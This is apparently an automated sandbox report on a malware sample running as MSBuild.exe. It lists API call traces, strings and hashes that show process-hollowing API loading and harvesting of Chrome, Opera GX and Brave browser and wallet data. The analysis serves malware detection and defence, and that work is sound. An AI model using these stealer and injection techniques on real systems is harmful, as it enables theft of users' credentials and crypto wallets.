API String ID: 1908188788-1405518554
Opcode ID: 6d34d56dd1d6349859bdf6ae874218469f8f97b157e3d27d14266ef6bcf85fc2
Instruction ID: fd3a1a69fc18f36575cd9a479c5c2fcc63b404dc4001eb52f61bcac92df6b953
Opcode Fuzzy Hash: 6d34d56dd1d6349859bdf6ae874218469f8f97b157e3d27d14266ef6bcf85fc2
Instruction Fuzzy Hash: 1CF01771506B809E83309F6A8495487FFE4BE283103948A2FE0DEC3A11D730F504CFAA

Analysis Process: MSBuild.exePID: 7032, Parent PID: 6988COMMON

Execution Graph

Execution Coverage:	5.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	37

Executed Functions

Function 00418A63 Relevance: 231.5, APIs: 121, Strings: 11, Instructions: 518
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,004173DA), ref: 00418A77
GetProcAddress.KERNEL32 ref: 00418A8E
GetProcAddress.KERNEL32 ref: 00418AA5
GetProcAddress.KERNEL32 ref: 00418ABC
GetProcAddress.KERNEL32 ref: 00418AD3
GetProcAddress.KERNEL32 ref: 00418AEA
GetProcAddress.KERNEL32 ref: 00418B01
GetProcAddress.KERNEL32 ref: 00418B18
GetProcAddress.KERNEL32 ref: 00418B2F
GetProcAddress.KERNEL32 ref: 00418B46
GetProcAddress.KERNEL32 ref: 00418B5D
GetProcAddress.KERNEL32 ref: 00418B74
GetProcAddress.KERNEL32 ref: 00418B8B
GetProcAddress.KERNEL32 ref: 00418BA2
GetProcAddress.KERNEL32 ref: 00418BB9
GetProcAddress.KERNEL32 ref: 00418BD0
GetProcAddress.KERNEL32 ref: 00418BE7
GetProcAddress.KERNEL32 ref: 00418BFE
GetProcAddress.KERNEL32 ref: 00418C15
GetProcAddress.KERNEL32 ref: 00418C2C
GetProcAddress.KERNEL32 ref: 00418C43
GetProcAddress.KERNEL32 ref: 00418C5A
GetProcAddress.KERNEL32 ref: 00418C71
GetProcAddress.KERNEL32 ref: 00418C88
GetProcAddress.KERNEL32 ref: 00418C9F
GetProcAddress.KERNEL32 ref: 00418CB6
GetProcAddress.KERNEL32 ref: 00418CCD
GetProcAddress.KERNEL32 ref: 00418CE4
GetProcAddress.KERNEL32 ref: 00418CFB
GetProcAddress.KERNEL32 ref: 00418D12
GetProcAddress.KERNEL32 ref: 00418D29
GetProcAddress.KERNEL32 ref: 00418D40
GetProcAddress.KERNEL32 ref: 00418D57
GetProcAddress.KERNEL32 ref: 00418D6E
GetProcAddress.KERNEL32 ref: 00418D85
GetProcAddress.KERNEL32 ref: 00418D9C
GetProcAddress.KERNEL32 ref: 00418DB3
GetProcAddress.KERNEL32 ref: 00418DCA
GetProcAddress.KERNEL32 ref: 00418DE1
GetProcAddress.KERNEL32 ref: 00418DF8
GetProcAddress.KERNEL32 ref: 00418E0F
GetProcAddress.KERNEL32 ref: 00418E26
GetProcAddress.KERNEL32 ref: 00418E3D
GetProcAddress.KERNEL32(CreateProcessA), ref: 00418E53
GetProcAddress.KERNEL32(GetThreadContext), ref: 00418E69
GetProcAddress.KERNEL32(ReadProcessMemory), ref: 00418E7F
GetProcAddress.KERNEL32(VirtualAllocEx), ref: 00418E95
GetProcAddress.KERNEL32(ResumeThread), ref: 00418EAB
GetProcAddress.KERNEL32(WriteProcessMemory), ref: 00418EC1
GetProcAddress.KERNEL32(SetThreadContext), ref: 00418ED7
LoadLibraryA.KERNEL32(004173DA), ref: 00418EE8
LoadLibraryA.KERNEL32 ref: 00418EF9
LoadLibraryA.KERNEL32 ref: 00418F0A
LoadLibraryA.KERNEL32 ref: 00418F1B
LoadLibraryA.KERNEL32 ref: 00418F2C
LoadLibraryA.KERNEL32 ref: 00418F3D
LoadLibraryA.KERNEL32 ref: 00418F4E
LoadLibraryA.KERNEL32 ref: 00418F5F
LoadLibraryA.KERNEL32(dbghelp.dll), ref: 00418F6F
GetProcAddress.KERNEL32(75290000), ref: 00418F8A
GetProcAddress.KERNEL32 ref: 00418FA1
GetProcAddress.KERNEL32 ref: 00418FB8
GetProcAddress.KERNEL32 ref: 00418FCF
GetProcAddress.KERNEL32 ref: 00418FE6
GetProcAddress.KERNEL32(6FEB0000), ref: 00419005
GetProcAddress.KERNEL32 ref: 0041901C
GetProcAddress.KERNEL32 ref: 00419033
GetProcAddress.KERNEL32 ref: 0041904A
GetProcAddress.KERNEL32 ref: 00419061
GetProcAddress.KERNEL32 ref: 00419078
GetProcAddress.KERNEL32 ref: 0041908F
GetProcAddress.KERNEL32 ref: 004190A6
GetProcAddress.KERNEL32(752C0000), ref: 004190C1
GetProcAddress.KERNEL32 ref: 004190D8
GetProcAddress.KERNEL32 ref: 004190EF
GetProcAddress.KERNEL32 ref: 00419106
GetProcAddress.KERNEL32 ref: 0041911D
GetProcAddress.KERNEL32(74EC0000), ref: 0041913C
GetProcAddress.KERNEL32 ref: 00419153
GetProcAddress.KERNEL32 ref: 0041916A
GetProcAddress.KERNEL32 ref: 00419181
GetProcAddress.KERNEL32 ref: 00419198
GetProcAddress.KERNEL32 ref: 004191AF
GetProcAddress.KERNEL32(75BD0000), ref: 004191CE
GetProcAddress.KERNEL32 ref: 004191E5
GetProcAddress.KERNEL32 ref: 004191FC
GetProcAddress.KERNEL32 ref: 00419213
GetProcAddress.KERNEL32 ref: 0041922A
GetProcAddress.KERNEL32 ref: 00419241
GetProcAddress.KERNEL32 ref: 00419258
GetProcAddress.KERNEL32 ref: 0041926F
GetProcAddress.KERNEL32 ref: 00419286
GetProcAddress.KERNEL32(75A70000), ref: 004192A1
GetProcAddress.KERNEL32 ref: 004192B8
GetProcAddress.KERNEL32 ref: 004192CF
GetProcAddress.KERNEL32 ref: 004192E6
GetProcAddress.KERNEL32 ref: 004192FD
GetProcAddress.KERNEL32(75450000), ref: 00419318
GetProcAddress.KERNEL32 ref: 0041932F
GetProcAddress.KERNEL32(75DA0000), ref: 0041934A
GetProcAddress.KERNEL32 ref: 00419361
GetProcAddress.KERNEL32(6F070000), ref: 00419380
GetProcAddress.KERNEL32 ref: 00419397
GetProcAddress.KERNEL32 ref: 004193AE
GetProcAddress.KERNEL32 ref: 004193C5
GetProcAddress.KERNEL32 ref: 004193DC
GetProcAddress.KERNEL32 ref: 004193F3
GetProcAddress.KERNEL32 ref: 0041940A
GetProcAddress.KERNEL32 ref: 00419421
GetProcAddress.KERNEL32(HttpQueryInfoA), ref: 00419437
GetProcAddress.KERNEL32(InternetSetOptionA), ref: 0041944D
GetProcAddress.KERNEL32(75AF0000), ref: 00419468
GetProcAddress.KERNEL32 ref: 0041947F
GetProcAddress.KERNEL32 ref: 00419496
GetProcAddress.KERNEL32 ref: 004194AD
GetProcAddress.KERNEL32(75D90000), ref: 004194C8
GetProcAddress.KERNEL32(6F8E0000), ref: 004194E3
GetProcAddress.KERNEL32 ref: 004194FA
GetProcAddress.KERNEL32 ref: 00419511
GetProcAddress.KERNEL32 ref: 00419528
GetProcAddress.KERNEL32(6CD40000,SymMatchString), ref: 00419542

Strings

ResumeThread, xrefs: 00418E9B
dbghelp.dll, xrefs: 00418F65
SetThreadContext, xrefs: 00418EC7
WriteProcessMemory, xrefs: 00418EB1
InternetSetOptionA, xrefs: 0041943D
VirtualAllocEx, xrefs: 00418E85
SymMatchString, xrefs: 0041953C
GetThreadContext, xrefs: 00418E59
ReadProcessMemory, xrefs: 00418E6F
HttpQueryInfoA, xrefs: 00419427
CreateProcessA, xrefs: 00418E43

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateProcessA$GetThreadContext$HttpQueryInfoA$InternetSetOptionA$ReadProcessMemory$ResumeThread$SetThreadContext$SymMatchString$VirtualAllocEx$WriteProcessMemory$dbghelp.dll
API String ID: 2238633743-2740034357
Opcode ID: 3e30b89850b8473fc7cede02b6692b6796462800fa081e8782096f790b2d890e
Instruction ID: 8ba0d5c8ae2e13c06544b1593b83c2cece409b0c910b42dbc8887f4207037caa
Opcode Fuzzy Hash: 3e30b89850b8473fc7cede02b6692b6796462800fa081e8782096f790b2d890e
Instruction Fuzzy Hash: C752F475910312AFEF1ADFA0FD088243BA7F718707F11A466E91582270E73B4A64EF19

Function 00414CC8 Relevance: 49.3, APIs: 24, Strings: 4, Instructions: 297
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00414D1C
FindFirstFileA.KERNEL32(?,?), ref: 00414D33
_memset.LIBCMT ref: 00414D4F
_memset.LIBCMT ref: 00414D60
StrCmpCA.SHLWAPI(?,004369F8), ref: 00414D81
StrCmpCA.SHLWAPI(?,004369FC), ref: 00414D9B
wsprintfA.USER32 ref: 00414DC2
StrCmpCA.SHLWAPI(?,0043660F), ref: 00414DD6
wsprintfA.USER32 ref: 00414DFF
wsprintfA.USER32 ref: 00414E16

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

_memset.LIBCMT ref: 00414E28
lstrcatA.KERNEL32(?,?), ref: 00414E3D
strtok_s.MSVCRT ref: 00414E82
_memset.LIBCMT ref: 00414E94
lstrcatA.KERNEL32(?,?), ref: 00414EA9
strtok_s.MSVCRT ref: 00414EC2
PathMatchSpecA.SHLWAPI(?,00000000), ref: 00414ED7
DeleteFileA.KERNEL32(?,00436A28,0043661D), ref: 00414F90
CopyFileA.KERNEL32(?,?,00000001), ref: 00414FA0

Part of subcall function 00412166: CreateFileA.KERNEL32(00414FAC,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,00414FAC,?), ref: 00412181

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00414FB6
DeleteFileA.KERNEL32(?,00000000,?,000003E8,00000000), ref: 00414FC1
strtok_s.MSVCRT ref: 00414FE7
FindNextFileA.KERNELBASE(?,?), ref: 00415105
FindClose.KERNEL32(?), ref: 00415125

Strings

%s\%s, xrefs: 00414E10
%s\*.*, xrefs: 00414D10
%s\%s\%s, xrefs: 00414DF9
%s\%s, xrefs: 00414DBC

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$_memsetlstrcatwsprintf$Findlstrcpystrtok_s$Delete$CloseCopyCreateFirstMatchNextPathSpecUnothrow_t@std@@@__ehfuncinfo$??2@lstrlen
String ID: %s\%s$%s\%s$%s\%s\%s$%s\*.*
API String ID: 956187361-332874205
Opcode ID: 0b980f5fe467d40f36a48e0aa954b15b20be97dd482f654baf88f773cf79a131
Instruction ID: 9768ecd297fb6e20fca964dbbce2c4256e5a8c732881b8487d541fa13927e408
Opcode Fuzzy Hash: 0b980f5fe467d40f36a48e0aa954b15b20be97dd482f654baf88f773cf79a131
Instruction Fuzzy Hash: 95C12AB1E0021AABCF22EF60DC45AEE777DAF08305F0140A6FA09A3151DB399F858F55

Function 00409D1C Relevance: 44.4, APIs: 20, Strings: 5, Instructions: 610
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,004367F2,004367EF,00437324,004367EE,?,?,?), ref: 00409DC6
StrCmpCA.SHLWAPI(?,00437328), ref: 00409DE7
StrCmpCA.SHLWAPI(?,0043732C), ref: 00409E01

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 00410581

StrCmpCA.SHLWAPI(?,Opera GX,00437330,?,004367F3), ref: 00409E93
StrCmpCA.SHLWAPI(?,Brave,00437350,00437354,00437330,?,004367F3), ref: 0040A015
StrCmpCA.SHLWAPI(?,Preferences), ref: 0040A02F
CopyFileA.KERNEL32(?,?,00000001), ref: 0040A0EF
DeleteFileA.KERNEL32(?), ref: 0040A1BE
StrCmpCA.SHLWAPI(?), ref: 0040A1FC
StrCmpCA.SHLWAPI(?), ref: 0040A266
StrCmpCA.SHLWAPI(0040CCE9), ref: 0040A279

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

StrCmpCA.SHLWAPI(?), ref: 0040A35C
CopyFileA.KERNEL32(?,?,00000001), ref: 0040A41C
StrCmpCA.SHLWAPI(?,Google Chrome), ref: 0040A4C1
DeleteFileA.KERNEL32(?), ref: 0040A522

Part of subcall function 00408DDB: lstrlenA.KERNEL32(?), ref: 00408FD4
Part of subcall function 00408DDB: lstrlenA.KERNEL32(?), ref: 00408FEF

Part of subcall function 00409549: lstrlenA.KERNEL32(?), ref: 00409970
Part of subcall function 00409549: lstrlenA.KERNEL32(?), ref: 0040998B

StrCmpCA.SHLWAPI(?), ref: 0040A553
CopyFileA.KERNEL32(?,?,00000001), ref: 0040A613
DeleteFileA.KERNEL32(?), ref: 0040A6AA

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

FindNextFileA.KERNEL32(?,?), ref: 0040A76E
FindClose.KERNEL32(?), ref: 0040A782

Strings

Google Chrome, xrefs: 0040A4B9
Opera GX, xrefs: 00409E8B
Brave, xrefs: 0040A00D
\BraveWallet\Preferences, xrefs: 0040A105
Preferences, xrefs: 0040A023

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$lstrcpylstrlen$CopyDeleteFind$lstrcat$CloseFirstNextSystemTime
String ID: Brave$Google Chrome$Opera GX$Preferences$\BraveWallet\Preferences
API String ID: 4173076446-1189830961
Opcode ID: 0da3506a32181aca8fc8f354fe3ed4c146f38583c2018349b92cc3e4b9347846
Instruction ID: a9b55009a8fcddda8ff4ceb811f1237a8a6c318138ce5e2e0b09e31f0378cf4a
Opcode Fuzzy Hash: 0da3506a32181aca8fc8f354fe3ed4c146f38583c2018349b92cc3e4b9347846
Instruction Fuzzy Hash: 78422A3194012D9BCF21FB65DD46BCD7775AF04308F4101AAB848B31A2DB79AED98F89

Function 6CAA35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CB2F688,00001000), ref: 6CAA35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CAA35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CAA35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CAA363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CAA369F
__aulldiv.LIBCMT ref: 6CAA36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CAA3773
EnterCriticalSection.KERNEL32(6CB2F688), ref: 6CAA377E
LeaveCriticalSection.KERNEL32(6CB2F688), ref: 6CAA37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CAA37C4
EnterCriticalSection.KERNEL32(6CB2F688), ref: 6CAA37CB
LeaveCriticalSection.KERNEL32(6CB2F688), ref: 6CAA3801
__aulldiv.LIBCMT ref: 6CAA3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CAA3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CAA3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CAA394C

Strings

QPC, xrefs: 6CAA38FC
MOZ_TIMESTAMP_MODE, xrefs: 6CAA35DB
GTC, xrefs: 6CAA3912
AuthcAMDenti, xrefs: 6CAA3946
GenuntelineI, xrefs: 6CAA3639

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: f3bd1f1e771a9a2cf80cc8787fe55f31de861025b057357c3fcb42aad0d737af
Instruction ID: fbdd7d5ac397abcc53a836e91c934300abb2b219e6fd7532634fedcefcbaead4
Opcode Fuzzy Hash: f3bd1f1e771a9a2cf80cc8787fe55f31de861025b057357c3fcb42aad0d737af
Instruction Fuzzy Hash: DEB1C271B093509BDB09DF69C444A6ABBF5FB8A700F04892EE899D7750D738E845CB81

Function 00415FD1 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 205stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00416018
FindFirstFileA.KERNEL32(?,?), ref: 0041602F
StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
wsprintfA.USER32 ref: 00416091
StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
wsprintfA.USER32 ref: 004160C2
wsprintfA.USER32 ref: 004160D9
PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
lstrcatA.KERNEL32(?), ref: 00416125
lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
lstrcatA.KERNEL32(?,?), ref: 0041614A
lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
lstrcatA.KERNEL32(?,?), ref: 00416170
CopyFileA.KERNEL32(?,?,00000001), ref: 00416229
DeleteFileA.KERNEL32(?), ref: 0041629D
FindNextFileA.KERNEL32(?,?), ref: 004162FF
FindClose.KERNEL32(?), ref: 00416313

Strings

%s\%s, xrefs: 004160D3
%s\*, xrefs: 0041600C
%s\%s, xrefs: 0041608B

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$CloseCopyDeleteFirstMatchNextPathSpec
String ID: %s\%s$%s\%s$%s\*
API String ID: 2178766154-445461498
Opcode ID: 6ae935164d3feafb997cd558fd705644e50460ea22fb7019366a12ba31212e16
Instruction ID: 81d09dce4b51b3523f7962b1b768db3a72bb21831e5d2f1ad6ac3091453fc6b6
Opcode Fuzzy Hash: 6ae935164d3feafb997cd558fd705644e50460ea22fb7019366a12ba31212e16
Instruction Fuzzy Hash: 3E81287190022DABCF60EF61DC45ACD77B9FB08305F0194EAE549A3150EE39AB898F94

Function 00411807 Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 143memorycomtimeCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 0041180E
CoInitializeEx.OLE32(00000000,00000000,0000004C,00413EF9,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 0041181F
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411830
CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 0041184A
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411880
VariantInit.OLEAUT32(?), ref: 004118DB

Part of subcall function 00411757: __EH_prolog3_catch.LIBCMT ref: 0041175E
Part of subcall function 00411757: CoCreateInstance.OLE32(004331B0,00000000,00000001,0043B018,?,00000018,00411901,?), ref: 00411781
Part of subcall function 00411757: SysAllocString.OLEAUT32(?), ref: 0041178E
Part of subcall function 00411757: _wtoi64.MSVCRT ref: 004117C1
Part of subcall function 00411757: SysFreeString.OLEAUT32(?), ref: 004117DA
Part of subcall function 00411757: SysFreeString.OLEAUT32(00000000), ref: 004117E1

FileTimeToSystemTime.KERNEL32(?,?), ref: 0041190A
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00411916
HeapAlloc.KERNEL32(00000000), ref: 0041191D
VariantClear.OLEAUT32(?), ref: 0041195C
wsprintfA.USER32 ref: 00411949

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Strings

Select * From Win32_OperatingSystem, xrefs: 00411895
%d/%d/%d %d:%d:%d, xrefs: 00411943
ROOT\CIMV2, xrefs: 00411862
Unknown, xrefs: 00411985
Unknown, xrefs: 00411971
WQL, xrefs: 0041189A
InstallDate, xrefs: 004118ED
Unknown, xrefs: 0041196A

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: String$AllocCreateFreeHeapInitializeInstanceTimeVariant$BlanketClearFileH_prolog3_catchH_prolog3_catch_InitProcessProxySecuritySystem_wtoi64lstrcpywsprintf
String ID: %d/%d/%d %d:%d:%d$InstallDate$ROOT\CIMV2$Select * From Win32_OperatingSystem$Unknown$Unknown$Unknown$WQL
API String ID: 2280294774-461178377
Opcode ID: 4a998e0831886b93ed92c0276ff9e06964fee6d6e5f1487c865c121be33c5c48
Instruction ID: 99ef6883476e7e72b4c9cbd85dd5ecdaeb76e40d083b236b73c3eff291e47a74
Opcode Fuzzy Hash: 4a998e0831886b93ed92c0276ff9e06964fee6d6e5f1487c865c121be33c5c48
Instruction Fuzzy Hash: 49416C71940209BBCB10DBD5DC89EEFBBBDEB89B11F20411AF611A6190D6799941CB38

Function 0041C585 Relevance: 26.7, APIs: 13, Strings: 2, Instructions: 440COMMON

Download Yara Rule

Strings

/, xrefs: 0041C638
UT, xrefs: 0041C8B0

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
